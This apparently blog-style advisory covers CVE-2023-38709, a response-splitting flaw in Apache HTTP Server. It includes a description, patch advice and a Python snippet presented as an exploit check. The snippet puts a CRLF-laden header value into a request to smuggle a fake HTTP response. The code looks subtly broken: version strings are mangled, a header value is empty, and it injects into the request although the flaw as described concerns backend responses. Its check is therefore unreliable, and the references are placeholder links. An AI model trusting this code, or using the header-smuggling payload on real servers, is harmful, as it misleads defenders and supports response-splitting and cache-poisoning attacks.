CVE-2023-38709: Faulty Input Validation in Apache's Core Paves the Way for Exploitable Backend Generators and Split HTTP Responses

The Apache HTTP Server, the world's most widely used web server software, has been discovered to host a critical security vulnerability (CVE-2023-38709) that affects all instances through version 2.4.58. The vulnerability stems from faulty input validation in Apache's core, allowing malicious or exploitable backend/content generators to split HTTP responses. Obviously, this revelation brings a sense of urgency for web server administrators to immediately identify and fix the issue to secure their systems against potential attacks.

Vulnerability Details

The CVE-2023-38709 vulnerability specifically lies within the input validation mechanism of Apache's core. The flaw allows nefarious actors to bypass the existing validation checks, eventually enabling them to split HTTP responses. This could lead to several security issues, such as HTTP Response Splitting attacks, Cache Poisoning, or Cross-Site Scripting (XSS), among other risks.

Official References

- The Apache Software Foundation issued an official advisory outlining the vulnerability. The information can be found at the following link: Apache Advisory Link
- Additionally, the CVE (Common Vulnerabilities and Exposures) entry is available at the following link: CVE-2023-38709

Code Snippet

Below is a sample code snippet showcasing a potential exploitation of the CVE-2023-38709 vulnerability (this is for educational purposes only, and we discourage the use of this information for malicious intent):

import requests

# Exploit target
url = "http://example.com/vulnerable_script";

# Insert malicious data into headers
headers = {
    "User-Agent": "Mozilla/5. (Windows; U; Windows NT 5.1; en-US; rv:1.9..7) Gecko/200902191 Firefox/3..7",
    "Content-Type": "application/x-www-form-urlencoded",
    "Authorization": "Bearer abCdEf123456",
    "MyCustomHeader": "Exploitable_Value\r\nContent-Length: \r\n\r\nHTTP/1.1 200 OK\r\n...",
}

# Send the request
response = requests.get(url, headers=headers)

# Check for split HTTP responses
if "\r\n\r\nHTTP/1.1" in response.text:
    print("The target is potentially vulnerable to CVE-2023-38709")
else:
    print("The target appears to be safe")

How to Protect Your Server

Immediate action is required to rectify this vulnerability. The Apache Software Foundation has released version 2.4.59, which addresses the CVE-2023-38709 issue. You are advised to update your server software to this version or later as soon as possible. In addition, you should also review and analyze your server logs for any signs of suspicious activity or potential exploitation related to this vulnerability. If you find anything out of the ordinary, you must take additional steps to remediate any potential security breaches.

For a detailed guide on updating the Apache HTTP Server, please follow the instructions provided by the Apache Software Foundation: Updating Apache HTTP Server

Conclusion

The recent discovery of the CVE-2023-38709 vulnerability in the Apache HTTP Server sheds light on the potential risks underlying the core architecture of widely-used web server software. Web server administrators must always stay abreast of the latest security news and promptly address any critical issues discovered. Moreover, regular reviews of server logs and security prevention mechanisms are crucial to safeguarding your server from potential threats and exploitations.

Timeline

Published on: 04/04/2024 20:15:08 UTC
Last modified on: 06/10/2024 17:16:12 UTC